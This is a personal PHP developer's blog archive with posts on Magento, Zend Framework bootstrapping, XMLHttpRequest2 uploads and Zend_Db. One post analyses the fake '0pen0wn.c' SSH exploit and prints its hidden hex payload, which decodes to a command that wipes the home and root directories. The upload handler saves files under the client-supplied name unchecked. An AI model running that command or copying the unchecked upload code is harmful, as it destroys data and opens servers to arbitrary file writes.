I entered a design for the PHP Community Spirit T-Shirt Design Competition. And it got approved today. It’s a simple design that uses the PHP logo colors and font. If you like it you can vote for it by following the design below.
Archive for the ‘PHP’ tag
New elePHPant :)
- On August 6th, 2010
- with 3 comments
After purchasing a new batch of the friendly blue guys. Damien Seguy was so friendly to send me an early Christmas present
I have some small versions left by the way. So if you are one of those people looking. Drop me a line or leave a comment.
Rewriting blocks in Magento
- On June 25th, 2010
- without comments
The last few days i have been toying with Magento. and mainly trying to wrap my head around the file structure. It takes quite some time to find all files. So i will be making notes here to keep track of my own progress
Today i wanted to add a tab in the customer section of the admin. I am working on a new module and this should be configurable on a per user basis. There for i needed an extra tab to the customer > Manage customers > [customer x] page.
The first challenge was to figure out where Magento stores the tab menu data. I was hoping this came from a database. But after some searching i couldn’t find any reference. It seems to be hard coded in tab files. The customer tab in question can be found here:
app/code/core/Mage/Adminhtml/Block/Customer/Edit/tabs.php
We could of course edit this class. But that’s not according the Magento way. We need to create a local copy of this class. preferably under my own namespace.
To make this happen we first need to tell Magento we are rewriting core modules. So we start of by creating the following file
app/etc/modules/[namespace]_All.xml
And we add the following lines
true local
This will tell Magento we have a Core folder under our own namespace. But it still depends on the Mage_Core classes if they are not available in the namespaced location.
Next we need to setup the [namespace]_Core module. We create the folder structure under our own namspace
app/code/local/[namespace]/Core/etc
And we create a new config file here (config.xml) where we will do the actual class rewriting.
<[namespace]_Core> 0.1.0 [namespace]_Core>[namespace]_Adminhtml_Block_Customer_Edit_Tabs
We use the
Mage_Adminhtml_Block_Customer_Edit_Tabs is now rewritten too [namespace]_Adminhtml_Block_Customer_Edit_Tabs
The only thing left now is to create the Block class which is located in
app/code/local/[namespace]/Adminhtml/Block/Customer/Edit/Tabs.php
class [namespace]_Adminhtml_Block_Customer_Edit_Tabs extends Mage_Adminhtml_Block_Customer_Edit_Tabs
{
protected function _beforeToHtml()
{
$this->addTab('modulename', array(
'label' => Mage::helper('customer')->__('Modulename'),
'class' => 'ajax',
'url' => $this->getUrl('*/*/modulename', array('_current' => true)),
));
$this->_updateActiveTab();
return parent::_beforeToHtml();
}
}
Nerdiness
- On May 21st, 2010
- with 2 comments
Ok so i had nothing todo for a few minutes and found a link to this page. I am never really into this stuff. But it looked funny and i had nothing to do. So i walked through the questions… and the result
Supreme Nerd. Apply for a professorship at MIT now!!!.
Another nerdy thing i picked up was that Ilia Alshanetsky’s scalar type hints patch has been merged with the PHP trunk. Great stuff. Have been waiting for this for a while.
Month of PHP Security 2010
- On March 9th, 2010
- without comments
After a successful experiment a while back Month of the PHP Bugs. Stefan Esser and SektionEins is at it again. This time with Month of PHP Security. A gathering for PHP and security gurus a like. The call for papers is open for submission.
There are some nice prices to walk away with. So what you waiting for?
- New vulnerability in PHP [1] (not simple safe_mode, open_basedir bypass vulnerabilities)
- New vulnerability in PHP related software [1] (popular 3rd party PHP extensions/patches)
- Explain a single topic of PHP application security in detail (such as guidelines on how to store passwords)
- Explain a complicated vulnerability in/attack against a PHP widespread application [1]
- Explain a complicated topic of attacking PHP (e.g. explain how to exploit heap overflows in PHP’s heap implementation)
- Explain how to attack encrypted PHP applications
- Release of a new open source PHP security tool
- Other topics related to PHP or PHP application security
Zend Framework Bootstrapping Modules
- On February 6th, 2010
- with 12 comments
I am working on a small API for bluesignal and i wanted a modular architecture. I have done this before using the Zend Framework. But this time i wanted a bit more control while loading the modules. And adding a Bootstrap class would seem like a good option. The only example i could find involved loading all bootstraps on every request. Which doesn’t seem like a good idea. So after reading through the Manual and some blog posts. I decided to give it s shot my self.
The structure i want looks like this.
The application.ini file has the following contents:
includePaths.library = APPLICATION_PATH “/../library”
bootstrap.path = APPLICATION_PATH “/Bootstrap.php”
bootstrap.class = “Bootstrap”
resources.frontController.moduleDirectory = APPLICATION_PATH “/modules”
resources.modules[] = “default”
resources.modules[] = “admin”
includePaths
This sets the applications local library location. Any shared code for this application goes here.
bootstrap.path & class
Define the location and type of the Bootstrap class.
resources
Define the modules location and create a list of modules.
The main Bootstrap class
application/Bootstrap.php
class Bootstrap extends Zend_Application_Bootstrap_Bootstrap
{
Load the config parameters for this application and set some debugging settings if needed.
protected function _initConfiguration()
{
$app = $this->getApplication();
$config = $app->getOptions();
if (APPLICATION_ENV == 'development') {
error_reporting(E_ALL & E_STRICT);
if (isset($config['phpsettings'])) {
foreach ($config['phpsettings'] as $setting => $value) {
ini_set($setting, $value);
}
}
}
}
We need autoloading here because we are using a class from the application library. Right now this causes a problem. A notice is thrown
Warning: include_once(FrontController.php) [function.include-once]: failed to open stream: No such file or directory in Zend/Loader.php on line 147
The application responds fine. And this problem seems to be a recurring issue (ZF-7224, ZF-7550) for the framework. Until now i have not find a graceful fix for this. besides a small patch reversion.
protected function _initAutoload()
{
$autoloader = Zend_Loader_Autoloader::getInstance();
$autoloader->setFallbackAutoloader(true);
return $autoloader;
}
Setup the controller to register the Bluess_Modules_Loader plug-in. And set the prefixDefaultModule parameter so we can prefix the default module controllers as well. Just for the sake of consistency. The Bluess_ namespace is part of my API. And can be changed at will.
protected function _initController()
{
$this->bootstrap('FrontController');
$controller = $this->getResource('FrontController');
$modules = $controller->getControllerDirectory();
$controller->setParam('prefixDefaultModule', true);
$controller->registerPlugin(
new Bluess_Modules_Loader($modules)
);
return $controller;
}
Now the last method. which is a bit weird. And i am probably missing a key factor here. But if this method resource is not declared only the default module functions. When declared empty all modules function as they should. This would indicate that this method could be used to load the modules. But i haven’t found a way to achieve this yet. Except for loading all modules in a row. Which makes no sense for this purpose. So we leave it empty.
protected function _initModules()
{
// Call to prevent ZF from loading all modules
}
The most important part here is the controller plug-in. This will be the place where module bootstraps are called from.
application/../library/Bluess/Modules/Loader.php
class Bluess_Modules_Loader extends Zend_Controller_Plugin_Abstract
{
protected $_modules;
Setup the plug-in by passing the applications module list.
public function __construct(array $modulesList)
{
$this->_modules = $modulesList;
}
The dispatchLoopStartup method will be called on every request and will do the magic. Based on the current module name we create a new Zend_Application with the current modules config file module.ini. And we bootstrap it.
public function dispatchLoopStartup(Zend_Controller_Request_Abstract $request)
{
$module = $request->getModuleName();
if (!isset($this->_modules[$module])) {
throw new Exception("Module does not exist!");
}
$bootstrapPath = $this->_modules[$module];
$bootstrapFile = dirname($bootstrapPath) . '/Bootstrap.php';
$class = ucfirst($module) . '_Bootstrap';
$application = new Zend_Application(
APPLICATION_ENV,
APPLICATION_PATH . '/modules/' . $module . '/configs/module.ini'
);
if (Zend_Loader::loadFile('Bootstrap.php', dirname($bootstrapPath))
&& class_exists($class)) {
$bootstrap = new $class($application);
$bootstrap->bootstrap();
}
}
}
Now setup the default module. Once this is done it’s a nice example for further modules. Make sure the module has it’s own layout set.
application/modules/default/configs/module.ini
default.resources.layout.layout = “default”
default.resources.layout.layoutPath = APPLICATION_PATH “/modules/default/layout”
Setup the modules bootstrap and use it to set the modules model location.
application/modules/default/Bootstrap.php
class Default_Bootstrap extends Zend_Application_Module_Bootstrap
{
protected $_moduleName = 'default';
protected function _initConfiguration()
{
$options = $this->getApplication()->getOptions();
set_include_path(implode(PATH_SEPARATOR, array(
realpath(APPLICATION_PATH . '/modules/' . $this->_moduleName . '/models'),
get_include_path(),
)));
return $options;
}
}
That’s all. Now make sure your layout is set correctly and the controllers are prefixed
application/modules/default/layout/default.phtml
echo $this->layout()->content;
application/modules/default/controllers/IndexController.php
class Default_IndexController extends Zend_Controller_Action
{
It took me a while to get this working like i had it in my mind. But it’s going the right way. If your interested in a working copy. You can download one here.
UPDATE
Matthew has a nice post about some do’s and don’ts concerning module based applications
Drag & drop Uploads with XMLHttpRequest2 and PHP
- On January 25th, 2010
- with 5 comments
I finally had some time to read through my ever growing list must read items and play with some new software. While reading up on the new Firefox 3.6 i noticed it came with the new XMLHttpRequest [2] object based on the new file API. And according to the new specs. This would allow for easy file uploads. Now there’s been some examples [2] on the web already. But i just wanted to get my hands dirty.
The new XMLHttpRequest object makes is possible to send files in a few different formats. The most important being the binary format. The code for sending a request with XMLHttpRequest2 looks the same as the previous version. Except for sendAsBinary() in this case.
var xhr = new XMLHttpRequest();
fileUpload = xhr.upload,
fileUpload.onload = function() {
console.log("Sent!");
}
xhr.open("POST", "upload.php", true);
xhr.sendAsBinary(file.getAsBinary());
So let’s set things up for drag & drop. We need a div that will be the main drop point. And we need some event listeners to catch the drag * drop events. Let start by creating the drop zone. For this we use two simple divs. The outer div will listen for the drag & drop events. And the inner will catch the files.
Now let’s create our upload code.
var upload = {
setup : function() {},
uploadFiles : function() {event}
}
window.addEventListener("load", upload.setup, false);
The setup method will set all event listeners for drag & drop. And register the upload handler.
var container = document.getElementById('container');
var drop = document.getElementById('drop');
container.addEventListener("dragenter", function(event) {
drop.innerHTML = '';
event.stopPropagation();
event.preventDefault();
},
false
);
container.addEventListener("dragover", function(event) {
event.stopPropagation();
event.preventDefault();
},
false
);
container.addEventListener("drop", upload.uploadFiles, false);
As you could see above. the uploadFiles() method gets a event returned from the drag & drop action. This is where the new file APi comes in play. To get to the file property we access the dataTransfer object.
var files = event.dataTransfer.files;
The actual uploading is easy as cake.
for (var x = 0; x < files.length; x++) {
var file = files.item(x);
var xhr = new XMLHttpRequest();
fileUpload = xhr.upload,
fileUpload.onload = function() {
console.log("Sent!");
}
xhr.open("POST", "upload.php", true);
xhr.setRequestHeader("Cache-Control", "no-cache");
xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
xhr.setRequestHeader("X-File-Name", file.fileName);
xhr.setRequestHeader("X-File-Size", file.fileSize);
xhr.setRequestHeader("Content-Type", "multipart/form-data");
xhr.sendAsBinary(file.getAsBinary());
}
That's it for the client side. There is however a small problem on the receiving side. When handling uploaded files in PHP we expect the $_FILES array to be populated. This is not the case when streaming files from the client to the server. To get the needed file information we set some headers on the client side X-File-Name and X-File-Size. And since the $_FILES are is empty. We need an other way to get the file contents. So we will use php://input streams for that.
The contents of upload.php look like this:
require_once('Streamer.php');
$ft = new File_Streamer();
$ft->setDestination('data/');
$ft->receive();
With setDestination() the destination path for the uploaded files is set. And recieve() listens for any incoming files. Most of the magic is done in the recieve() method. So here's the code.
public function receive()
{
if (!$this->isValid()) {
throw new Exception('No file uploaded!');
}
file_put_contents(
$this->_destination . $this->_fileName,
file_get_contents("php://input")
);
return true;
}
I am impressed! This promises a lot of good. And offers some interesting options. Let's hope all browsers implement this gem. I still have one issue though. I can't get this to work in firefox under linux. The drag & drop events do not seem to function properly with files being dragged from the desktop. anybody know why?
If you interested in the complete code. you can find it here
Mayflower’s Zend Framework Poster
- On July 25th, 2009
- with 4 comments
Two or three weeks ago i was reading post from Bjoern Schotte. That the guys at Mayflower created a poster for Zend Framework. Seems they really love it there. And since i am a big fan myself. I send Bjoern an email to ask for an English version. If available. So some time passed. And i completely forgot about it. Until i came home yesterday and found my own personal copy of the Mayflower Zend Framework poster in the mail.
It’s a cool poster. All the most common used components are there. A nice reference to have. And a great piece of promotion material for the framework it self. Now i just need to find a good spot for it. It will be the second A0 poster hanging here. And probably not the last one. Since mister PHP security himself Stefan Esser from SektionEins is working on a PHP security poster. If you would like your own copy. Send Bjoern an email.
Thanks guys.
0pen0wn.c what a joke
- On July 16th, 2009
- without comments
So there have been a lot of rumors lately about some remote SSH exploit. And to throw a bit of fuel on the fire some hacker / group have released what they call an exploit. This piece of code is just hilarious. At a first glance it looks like a real exploit. But when you take the time to decode the HEX blocks. It will become obvious this is not what it seems to be.
there are three blocks with HEX characters. The last two transform into some perl scripts that seem to make contact with an IRC server. This code seems to be bogus. The first and smallest HEX block is interesting though.
\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f
\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26
When decoded back to ASCII characters. This reads:
rm -rf ~ /* 2> /dev/null &
The code used for the decoding is a simple PHP script:
foreach (explode('\x', $str) as $char) echo chr(hexdec($char);
Zend_Db connects to wrong mysql socket
- On June 27th, 2009
- with 2 comments
While working on a small project today. I was confronted with a Zend_Db exception that i have seen before. But it still had me searching for a solution. So this time i will write it done for future reference.
I’m working on a small ZF project which uses the MVC structure. And in the Initializer the database connection is setup like this:
public function initDb()
{
$pdoParams = array(
PDO::MYSQL_ATTR_USE_BUFFERED_QUERY => true
);
$params = array(
'host' => 'localhost',
'username' => '***********',
'password' => '***********',
'dbname' => '***********',
'driver_options' => $pdoParams,
);
$db = Zend_Db::factory('Pdo_Mysql', $params);
Zend_Db_Table_Abstract::setDefaultAdapter($db);
Zend_Registry::set('DB', $db);
}
So when i first instantiated a connection to the database i was presented a nice error on screen. The stack trace is quiet long. But this is the most relevant part.
exception ‘Zend_Db_Adapter_Exception’ with message ‘SQLSTATE[HY000] [2002] Can’t connect to local MySQL server through socket ‘/tmp/mysql.sock’ (2)’
The php bug tracker revealed a nice solution. For some strange reason the PDO extension can’t determine the correct socket while the mysql, mysqli extensions can. This is easily solved in the bootstrap of the project by adding an extra parameter to the config array passed when calling Zend_Db::factory();
$params = array(
'host' => 'localhost',
'username' => '***********',
'password' => '***********',
'dbname' => '***********',
'driver_options' => $pdoParams,
'unix_socket' => '/var/run/mysqld/mysqld.sock'
);
$db = Zend_Db::factory('Pdo_Mysql', $params);
Zend_Db_Table_Abstract::setDefaultAdapter($db);
Zend_Registry::set('DB', $db);
Recent entries
Archives
- August 2010
- July 2010
- June 2010
- May 2010
- April 2010
- March 2010
- February 2010
- January 2010
- December 2009
- November 2009
- September 2009
- August 2009
- July 2009
- June 2009
- May 2009
- April 2009
- March 2009
- February 2009
- January 2009
- December 2008
- November 2008
- October 2008
- September 2008
- August 2008
- July 2008
- June 2008
- May 2008
Recent comments
- Mohammad Azhar wrote Hey Thijs, can you please tell me how are we go
- Christian Wania wrote Maybe there is one left for me to adopt? I´m one
- Sylvain wrote Damn it is so hard to find them !! If you still ha
- Thijs Lensselink wrote I didn't find an attribute yet for the file extens
- Sarath D R wrote How do i get the extension of the file ?
Stuff i read
- Adam Maschek
- Ajaxian
- Anton Shevchuk
- Bradley Holt
- Bruce Schneier
- Codinghorror
- Derek Illchuk
- Derick Rethans
- Easily Embarrassed
- ha.ckers
- Ivo Jansch
- Jon Lebensold
- Jon Udell
- Juozas Kaziukėnas
- Max Horvath
- nettuts.com
- phpdeveloper.org
- PHPFreakz
- PHPGG
- PHPGuru
- planet-php
- Planet-websecurity
- Quirksmode
- Rob Allen
- the daily WTF
- The Invisible Things
- The Spanner
- thinkphp.de
- uberChicGeekChick
- Vincent Bruijn
- Vladimir Vukićević
- World of Code












Thijs Lensselink is a 30 year old Web developer from The Netherlands.
With more then 10 years experience in the field of building and maintaining PHP
based web applications. Currently he works as a Freelance Web Developer under ...